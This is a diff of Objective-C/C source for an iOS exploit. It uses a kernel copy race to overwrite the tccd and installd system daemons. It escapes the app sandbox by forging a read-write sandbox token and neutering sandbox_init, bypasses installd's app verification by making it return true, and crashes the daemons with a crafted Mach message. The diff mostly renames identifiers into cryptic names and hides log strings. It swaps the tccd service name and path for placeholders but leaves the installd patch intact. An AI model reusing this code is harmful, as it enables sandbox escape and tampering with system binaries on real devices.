strcmp(first_section->sectname, "__got") == 0)) {
|
||||
return 0;
|
||||
}
|
||||
uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
|
||||
uint32_t* indirect_table = ecm + dysymtab_command->indirectsymoff;
|
||||
|
||||
for (int i = 0; i < first_section->size; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
|
||||
uint64_t val = *(uint64_t*)(ecm + first_section->offset + i);
|
||||
uint64_t indirect_table_entry = (val & 0xfffful);
|
||||
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
|
||||
return first_section->offset + i;
|
||||
@@ -144,43 +143,43 @@ static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||
return 0;
|
||||
}
|
||||
|
||||
static bool patchfind(void* executable_map, size_t executable_length,
|
||||
struct grant_full_disk_access_offsets* offsets) {
|
||||
static bool pchfind(void* execmap, size_t executable_length,
|
||||
struct fda_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
printf("no sections\n");
|
||||
// printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_addr_s_com_apple_tcc_ =
|
||||
patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
|
||||
printf("no com.apple.tcc. string\n");
|
||||
if ((offsets->of_addr_com_apple_tcc_ =
|
||||
pchfind_pointer_to_string(execmap, executable_length, "com.apple.tcc.")) == 0) {
|
||||
// printf("no com.apple.tcc. string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_padding_space_for_read_write_string =
|
||||
patchfind_get_padding(data_const_segment)) == 0) {
|
||||
printf("no padding\n");
|
||||
if ((offsets->offset_pad_space_for_rw_string =
|
||||
pchfind_get_padding(data_const_segment)) == 0) {
|
||||
// printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
|
||||
executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
|
||||
printf("no kTCCServiceMediaLibrary string\n");
|
||||
if ((offsets->of_addr_s_kTCCSML = pchfind_pointer_to_string(
|
||||
execmap, executable_length, "kTCCServiceMediaLibrary")) == 0) {
|
||||
// printf("no kTCCServiceMediaLibrary string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_auth_got__sandbox_init =
|
||||
patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
|
||||
if ((offsets->of_auth_got_sb_init =
|
||||
pchfind_got(execmap, executable_length, data_const_segment, symtab_command,
|
||||
dysymtab_command, "_sandbox_init")) == 0) {
|
||||
printf("no sandbox_init\n");
|
||||
// printf("no sandbox_init\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
|
||||
if ((offsets->of_return_0 = pchfind_return_0(execmap, executable_length)) ==
|
||||
0) {
|
||||
printf("no just return 0\n");
|
||||
// printf("no just return 0\n");
|
||||
return false;
|
||||
}
|
||||
struct mach_header_64* executable_header = executable_map;
|
||||
struct mach_header_64* executable_header = execmap;
|
||||
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
|
||||
|
||||
return true;
|
||||
@@ -188,19 +187,20 @@ static bool patchfind(void* executable_map, size_t executable_length,
|
||||
|
||||
// MARK: - tccd patching
|
||||
|
||||
static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
|
||||
static void call_tcc_daemon(void (^completion)(NSString* _Nullable extension_token)) {
|
||||
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
|
||||
// re-use it until next reboot.
|
||||
// Returns the sandbox token if there is one, or nil if there isn't one.
|
||||
//TODO WARNING REPLACE com.apple.tccd
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service(
|
||||
"com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
|
||||
"TXUWU", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
|
||||
NSLog(@"xpc event handler: %@", object);
|
||||
// NSLog(@"event handler (xpc): %@", object);
|
||||
});
|
||||
xpc_connection_resume(connection);
|
||||
const char* keys[] = {
|
||||
"TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
|
||||
"target_token", "background_session",
|
||||
// "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
|
||||
// "target_token", "background_session",
|
||||
};
|
||||
xpc_object_t values[] = {
|
||||
xpc_string_create("17087.1"),
|
||||
@@ -214,24 +214,27 @@ static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
|
||||
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
|
||||
#if 0
|
||||
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
|
||||
NSLog(@"%@", response_message);
|
||||
// NSLog(@"%@", response_message);
|
||||
|
||||
#endif
|
||||
xpc_connection_send_message_with_reply(
|
||||
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
|
||||
^(xpc_object_t object) {
|
||||
if (!object) {
|
||||
NSLog(@"object is nil???");
|
||||
//object is nil???
|
||||
// NSLog(@"wqfewfw9");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
NSLog(@"response: %@", object);
|
||||
//response:
|
||||
// NSLog(@"qwdqwd%@", object);
|
||||
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
|
||||
NSLog(@"xpc error?");
|
||||
// NSLog(@"xpc error?");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
NSLog(@"debug description: %@", [object debugDescription]);
|
||||
//debug description:
|
||||
// NSLog(@"wqdwqu %@", [object debugDescription]);
|
||||
const char* extension_string = xpc_dictionary_get_string(object, "extension");
|
||||
NSString* extension_nsstring =
|
||||
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
|
||||
@@ -239,9 +242,9 @@ static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
|
||||
});
|
||||
}
|
||||
|
||||
static NSData* patchTCCD(void* executableMap, size_t executableLength) {
|
||||
struct grant_full_disk_access_offsets offsets = {};
|
||||
if (!patchfind(executableMap, executableLength, &offsets)) {
|
||||
static NSData* patch_tcc_daemon(void* executableMap, size_t executableLength) {
|
||||
struct fda_offsets offsets = {};
|
||||
if (!pchfind(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
@@ -250,56 +253,56 @@ static NSData* patchTCCD(void* executableMap, size_t executableLength) {
|
||||
char* mutableBytes = data.mutableBytes;
|
||||
{
|
||||
// rewrite com.apple.tcc. into blank string
|
||||
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
|
||||
*(uint64_t*)(mutableBytes + offsets.of_addr_com_apple_tcc_ + 8) = 0;
|
||||
}
|
||||
{
|
||||
// make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
|
||||
// make of_addr_s_kTCCSML point to "com.apple.app-sandbox.read-write"
|
||||
// we need to stick this somewhere; just put it in the padding between
|
||||
// the end of __objc_arrayobj and the end of __DATA_CONST
|
||||
strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
|
||||
strcpy((char*)(data.mutableBytes + offsets.offset_pad_space_for_rw_string),
|
||||
"com.apple.app-sandbox.read-write");
|
||||
struct dyld_chained_ptr_arm64e_rebase targetRebase =
|
||||
struct dyld_chained_ptr_arm64e_rebase tRBase =
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.offset_addr_s_kTCCServiceMediaLibrary);
|
||||
targetRebase.target = offsets.offset_padding_space_for_read_write_string;
|
||||
offsets.of_addr_s_kTCCSML);
|
||||
tRBase.target = offsets.offset_pad_space_for_rw_string;
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.offset_addr_s_kTCCServiceMediaLibrary) =
|
||||
targetRebase;
|
||||
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
|
||||
offsets.of_addr_s_kTCCSML) =
|
||||
tRBase;
|
||||
*(uint64_t*)(mutableBytes + offsets.of_addr_s_kTCCSML + 8) =
|
||||
strlen("com.apple.app-sandbox.read-write");
|
||||
}
|
||||
if (offsets.is_arm64e) {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
|
||||
struct dyld_chained_ptr_arm64e_auth_rebase tRBase = {
|
||||
.auth = 1,
|
||||
.bind = 0,
|
||||
.next = 1,
|
||||
.key = 0, // IA
|
||||
.addrDiv = 1,
|
||||
.diversity = 0,
|
||||
.target = offsets.offset_just_return_0,
|
||||
.target = offsets.of_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||
offsets.offset_auth_got__sandbox_init) =
|
||||
targetRebase;
|
||||
offsets.of_auth_got_sb_init) =
|
||||
tRBase;
|
||||
} else {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_64_rebase targetRebase = {
|
||||
struct dyld_chained_ptr_64_rebase tRBase = {
|
||||
.bind = 0,
|
||||
.next = 2,
|
||||
.target = offsets.offset_just_return_0,
|
||||
.target = offsets.of_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
|
||||
targetRebase;
|
||||
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.of_auth_got_sb_init) =
|
||||
tRBase;
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static bool overwrite_file(int fd, NSData* sourceData) {
|
||||
static bool over_write_file(int fd, NSData* sourceData) {
|
||||
for (int off = 0; off < sourceData.length; off += 0x4000) {
|
||||
bool success = false;
|
||||
for (int i = 0; i < 2; i++) {
|
||||
if (unaligned_copy_switch_race(
|
||||
if (unalign_csr(
|
||||
fd, off, sourceData.bytes + off,
|
||||
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
|
||||
success = true;
|
||||
@@ -313,13 +316,15 @@ static bool overwrite_file(int fd, NSData* sourceData) {
|
||||
return true;
|
||||
}
|
||||
|
||||
static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
|
||||
static void grant_fda_impl(void (^completion)(NSString* extension_token,
|
||||
NSError* _Nullable error)) {
|
||||
char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
|
||||
// char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
|
||||
char* targetPath = "/Nope";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
if (fd == -1) {
|
||||
// iOS 15.3 and below
|
||||
targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
|
||||
// targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
|
||||
targetPath = "/Nope";
|
||||
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
}
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
@@ -327,7 +332,7 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t
|
||||
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = patchTCCD(targetMap, targetLength);
|
||||
NSData* sourceData = patch_tcc_daemon(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:5
|
||||
@@ -335,8 +340,8 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t
|
||||
return;
|
||||
}
|
||||
|
||||
if (!overwrite_file(fd, sourceData)) {
|
||||
overwrite_file(fd, originalData);
|
||||
if (!over_write_file(fd, sourceData)) {
|
||||
over_write_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
completion(
|
||||
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
@@ -349,25 +354,26 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
|
||||
xpc_crasher("com.apple.tccd");
|
||||
// crash_with_xpc_thingy("com.apple.tccd");
|
||||
|
||||
sleep(1);
|
||||
call_tccd(^(NSString* _Nullable extension_token) {
|
||||
overwrite_file(fd, originalData);
|
||||
xpc_crasher("com.apple.tccd");
|
||||
call_tcc_daemon(^(NSString* _Nullable extension_token) {
|
||||
over_write_file(fd, originalData);
|
||||
// crash_with_xpc_thingy("com.apple.tccd");
|
||||
NSError* returnError = nil;
|
||||
if (extension_token == nil) {
|
||||
returnError =
|
||||
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:2
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"tccd did not return an extension token."
|
||||
NSLocalizedDescriptionKey : @"no extension token returned."
|
||||
}];
|
||||
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
|
||||
returnError = [NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:3
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
|
||||
NSLocalizedDescriptionKey : @"failed: returned a media library token "
|
||||
@"instead of an app sandbox token."
|
||||
}];
|
||||
extension_token = nil;
|
||||
@@ -376,7 +382,7 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t
|
||||
});
|
||||
}
|
||||
|
||||
void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||
void grant_fda(void (^completion)(NSError* _Nullable)) {
|
||||
if (!NSClassFromString(@"NSPresentationIntent")) {
|
||||
// class introduced in iOS 15.0.
|
||||
// TODO(zhuowei): maybe check the actual OS version instead?
|
||||
@@ -385,15 +391,14 @@ void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||
code:6
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey :
|
||||
@"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
|
||||
@"reverted after reboot, so running this may permanently corrupt tccd."
|
||||
@"Not supported on iOS 14 and below."
|
||||
}]);
|
||||
return;
|
||||
}
|
||||
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
|
||||
inDomains:NSUserDomainMask][0];
|
||||
NSURL* sourceURL =
|
||||
[documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
|
||||
[documentDirectory URLByAppendingPathComponent:@"fda_token.txt"];
|
||||
NSError* error = nil;
|
||||
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
|
||||
encoding:NSUTF8StringEncoding
|
||||
@@ -406,7 +411,7 @@ void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
|
||||
grant_fda_impl(^(NSString* extension_token, NSError* _Nullable error) {
|
||||
if (error) {
|
||||
completion(error);
|
||||
return;
|
||||
@@ -429,7 +434,7 @@ void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||
|
||||
/// MARK - installd patch
|
||||
|
||||
struct installd_remove_app_limit_offsets {
|
||||
struct daemon_remove_app_limit_offsets {
|
||||
uint64_t offset_objc_method_list_t_MIInstallableBundle;
|
||||
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
|
||||
uint64_t offset_data_const_end_padding;
|
||||
@@ -437,73 +442,73 @@ struct installd_remove_app_limit_offsets {
|
||||
uint64_t offset_return_true;
|
||||
};
|
||||
|
||||
struct installd_remove_app_limit_offsets gAppLimitOffsets = {
|
||||
struct daemon_remove_app_limit_offsets gAppLimitOffsets = {
|
||||
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
|
||||
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
|
||||
.offset_data_const_end_padding = 0x79c38,
|
||||
.offset_return_true = 0x19860,
|
||||
};
|
||||
|
||||
static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
|
||||
static uint64_t pchfind_find_rwt_base_methods(void* execmap,
|
||||
size_t executable_length,
|
||||
const char* needle) {
|
||||
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||
void* str_offset = memmem(execmap, executable_length, needle, strlen(needle) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - executable_map;
|
||||
uint64_t str_file_offset = str_offset - execmap;
|
||||
for (int i = 0; i < executable_length - 8; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||
uint64_t val = *(uint64_t*)(execmap + i);
|
||||
if ((val & 0xfffffffful) != str_file_offset) {
|
||||
continue;
|
||||
}
|
||||
// baseMethods
|
||||
if (*(uint64_t*)(executable_map + i + 8) != 0) {
|
||||
if (*(uint64_t*)(execmap + i + 8) != 0) {
|
||||
return i + 8;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
|
||||
static uint64_t pchfind_returns_true(void* execmap, size_t executable_length) {
|
||||
// mov w0, #1
|
||||
// ret
|
||||
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||
void* offset = memmem(execmap, executable_length, needle, sizeof(needle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - executable_map;
|
||||
return offset - execmap;
|
||||
}
|
||||
|
||||
static bool patchfind_installd(void* executable_map, size_t executable_length,
|
||||
struct installd_remove_app_limit_offsets* offsets) {
|
||||
static bool pchfind_deaaamon(void* execmap, size_t executable_length,
|
||||
struct daemon_remove_app_limit_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
printf("no sections\n");
|
||||
// printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
|
||||
printf("no padding\n");
|
||||
if ((offsets->offset_data_const_end_padding = pchfind_get_padding(data_const_segment)) == 0) {
|
||||
// printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
|
||||
patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
|
||||
pchfind_find_rwt_base_methods(execmap, executable_length,
|
||||
"MIInstallableBundle")) == 0) {
|
||||
printf("no MIInstallableBundle class_rw_t\n");
|
||||
// printf("no MIInstallableBundle class_rw_t\n");
|
||||
return false;
|
||||
}
|
||||
offsets->offset_objc_method_list_t_MIInstallableBundle =
|
||||
(*(uint64_t*)(executable_map +
|
||||
(*(uint64_t*)(execmap +
|
||||
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
|
||||
0xffffffull;
|
||||
|
||||
if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
|
||||
if ((offsets->offset_return_true = pchfind_returns_true(execmap, executable_length)) ==
|
||||
0) {
|
||||
printf("no return true\n");
|
||||
// printf("no return true\n");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
@@ -521,7 +526,7 @@ struct objc_method_list {
|
||||
struct objc_method methods[];
|
||||
};
|
||||
|
||||
static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
|
||||
static void patch_cpy_methods(void* mutableBytes, uint64_t old_offset,
|
||||
uint64_t new_offset, uint64_t* out_copied_length,
|
||||
void (^callback)(const char* sel,
|
||||
uint64_t* inout_function_pointer)) {
|
||||
@@ -551,9 +556,9 @@ static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
|
||||
}
|
||||
};
|
||||
|
||||
static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
|
||||
struct installd_remove_app_limit_offsets offsets = {};
|
||||
if (!patchfind_installd(executableMap, executableLength, &offsets)) {
|
||||
static NSData* make_installdaemon_patch(void* executableMap, size_t executableLength) {
|
||||
struct daemon_remove_app_limit_offsets offsets = {};
|
||||
if (!pchfind_deaaamon(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
@@ -562,7 +567,7 @@ static NSData* make_patch_installd(void* executableMap, size_t executableLength)
|
||||
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
|
||||
uint64_t copied_size = 0;
|
||||
uint64_t new_method_list_offset = current_empty_space;
|
||||
patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
|
||||
patch_cpy_methods(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
|
||||
current_empty_space, &copied_size,
|
||||
^(const char* sel, uint64_t* inout_address) {
|
||||
if (strcmp(sel, "performVerificationWithError:") != 0) {
|
||||
@@ -579,7 +584,7 @@ static NSData* make_patch_installd(void* executableMap, size_t executableLength)
|
||||
return data;
|
||||
}
|
||||
|
||||
bool patch_installd() {
|
||||
bool installdaemon_patch() {
|
||||
const char* targetPath = "/usr/libexec/installd";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
@@ -587,24 +592,26 @@ bool patch_installd() {
|
||||
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = make_patch_installd(targetMap, targetLength);
|
||||
NSData* sourceData = make_installdaemon_patch(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
NSLog(@"can't patchfind");
|
||||
//can't patchfind
|
||||
// NSLog(@"wuiydqw98uuqwd");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!overwrite_file(fd, sourceData)) {
|
||||
overwrite_file(fd, originalData);
|
||||
if (!over_write_file(fd, sourceData)) {
|
||||
over_write_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
NSLog(@"can't overwrite");
|
||||
//can't overwrite
|
||||
// NSLog(@"wfqiohuwdhuiqoji");
|
||||
return false;
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
xpc_crasher("com.apple.mobile.installd");
|
||||
crash_with_xpc_thingy("com.apple.mobile.installd");
|
||||
sleep(1);
|
||||
|
||||
// TODO(zhuowei): for now we revert it once installd starts
|
||||
// so the change will only last until when this installd exits
|
||||
// overwrite_file(fd, originalData);
|
||||
// over_write_file(fd, originalData);
|
||||
return true;
|
||||
}
|
||||
@@ -1,11 +1,11 @@
|
||||
#ifndef helpers_h
|
||||
#define helpers_h
|
||||
|
||||
char* get_temp_file_path(void);
|
||||
char* get_temporary_file_location_paths(void);
|
||||
void test_nsexpressions(void);
|
||||
char* set_up_tmp_file(void);
|
||||
char* setup_temporary_file(void);
|
||||
|
||||
void xpc_crasher(char* service_name);
|
||||
void crash_with_xpc_thingy(char* service_name);
|
||||
|
||||
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
|
||||
|
||||
@@ -3,18 +3,18 @@
|
||||
#include <mach/mach.h>
|
||||
#include <dirent.h>
|
||||
|
||||
char* get_temp_file_path(void) {
|
||||
char* get_temporary_file_location_paths(void) {
|
||||
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
|
||||
}
|
||||
|
||||
// create a read-only test file we can target:
|
||||
char* set_up_tmp_file(void) {
|
||||
char* path = get_temp_file_path();
|
||||
printf("path: %s\n", path);
|
||||
char* setup_temporary_file(void) {
|
||||
char* path = get_temporary_file_location_paths();
|
||||
// printf("path: %s\n", path);
|
||||
|
||||
FILE* f = fopen(path, "w");
|
||||
if (!f) {
|
||||
printf("opening the tmp file failed...\n");
|
||||
// printf("opening the tmp file failed...\n");
|
||||
return NULL;
|
||||
}
|
||||
char* buf = malloc(PAGE_SIZE*10);
|
||||
@@ -27,22 +27,24 @@ char* set_up_tmp_file(void) {
|
||||
kern_return_t
|
||||
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
|
||||
|
||||
struct xpc_w00t {
|
||||
struct x_p_c_w_zerozero_t {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t client_port;
|
||||
mach_msg_port_descriptor_t reply_port;
|
||||
};
|
||||
|
||||
mach_port_t get_send_once(mach_port_t recv) {
|
||||
mach_port_t get_and_send_this_whatever_once_wow(mach_port_t recv) {
|
||||
mach_port_t so = MACH_PORT_NULL;
|
||||
mach_msg_type_name_t type = 0;
|
||||
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port right extraction failed: %s\n", mach_error_string(err));
|
||||
//a=port right extraction failed: %s\n
|
||||
// printf("PREFail: %s\n", mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("made so: 0x%x from recv: 0x%x\n", so, recv);
|
||||
//made so: 0x%x from recv: 0x%x\n
|
||||
// printf("ms 0x%x fr: 0x%x\n", so, recv);
|
||||
return so;
|
||||
}
|
||||
|
||||
@@ -51,7 +53,7 @@ mach_port_t get_send_once(mach_port_t recv) {
|
||||
|
||||
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
|
||||
|
||||
void xpc_crasher(char* service_name) {
|
||||
void crash_with_xpc_thingy(char* service_name) {
|
||||
mach_port_t client_port = MACH_PORT_NULL;
|
||||
mach_port_t reply_port = MACH_PORT_NULL;
|
||||
|
||||
@@ -59,39 +61,44 @@ void xpc_crasher(char* service_name) {
|
||||
|
||||
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||
if(err != KERN_SUCCESS){
|
||||
printf("unable to look up %s\n", service_name);
|
||||
//unable to look up
|
||||
// printf("utluqwd %s\n", service_name);
|
||||
return;
|
||||
}
|
||||
|
||||
if (service_port == MACH_PORT_NULL) {
|
||||
printf("bad service port\n");
|
||||
//bad service port
|
||||
// printf("wih1221udq\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// allocate the client and reply port:
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
//port allocation failed:
|
||||
// printf("padiuhewi %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
mach_port_t so0 = get_send_once(client_port);
|
||||
mach_port_t so1 = get_send_once(client_port);
|
||||
mach_port_t so0 = get_and_send_this_whatever_once_wow(client_port);
|
||||
mach_port_t so1 = get_and_send_this_whatever_once_wow(client_port);
|
||||
|
||||
// insert a send so we maintain the ability to send to this port
|
||||
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port right insertion failed: %s\n", mach_error_string(err));
|
||||
//port right insertion failed:
|
||||
// printf("weediuwe %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
//port allocation failed:
|
||||
// printf("wuiq21d %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
struct xpc_w00t msg;
|
||||
struct x_p_c_w_zerozero_t msg;
|
||||
memset(&msg.hdr, 0, sizeof(msg));
|
||||
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
@@ -117,10 +124,12 @@ void xpc_crasher(char* service_name) {
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("w00t message send failed: %s\n", mach_error_string(err));
|
||||
//w00t message send failed:
|
||||
// printf("ondwehu %s\n", mach_error_string(err));
|
||||
return;
|
||||
} else {
|
||||
printf("sent xpc w00t message\n");
|
||||
//sent xpc w00t message\n
|
||||
// printf("wq98ywqe");
|
||||
}
|
||||
|
||||
mach_port_deallocate(mach_task_self(), so0);
|
||||
@@ -12,7 +12,8 @@
|
||||
#include <fcntl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include "vm_unaligned_copy_switch_race.h"
|
||||
//vm_unaligned_copy_switch_race
|
||||
#include "vm_unalign_csr.h"
|
||||
|
